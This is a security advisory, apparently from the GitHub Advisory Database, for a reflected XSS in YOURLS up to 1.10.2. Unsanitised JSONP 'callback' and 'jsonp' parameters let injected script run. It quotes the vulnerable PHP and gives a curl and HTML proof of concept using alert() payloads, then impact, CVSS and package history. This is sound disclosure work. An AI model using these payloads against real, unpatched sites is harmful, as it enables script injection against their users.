YOURLS is vulnerable to XSS through JSONP and Callback request parameters
Summary
The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.
Details
Vulnerability exists in the JSONP callback handling chain:
yourls-api.php:127-128
if( isset( $_REQUEST['callback'] ) )
$return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
$return['callback'] = $_REQUEST['jsonp'];includes/functions-api.php:127-128
$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result = $callback . '(' . json_encode( $output ) . ')';PoC
I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.
II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})
Browser PoC file:
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>Impact
Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | yourls/yourls | <= 1.10.2 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
yourls/yourls- Disclosed
- 30.12.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6mp4-q625-mxjp - CC BY 4.0
Vulnerability history: yourls/yourls
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 8
- First → latest
- 09.2019 08.2026
- Without a fix
- 4
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 2
- Medium 4
- Low 1
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 3
- 2022: 2
- 2023: 0
- 2024: 0
- 2025: 1
- 2026: 1
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YOURLS is vulnerable to XSS through JSONP and Callback request parameters this entry
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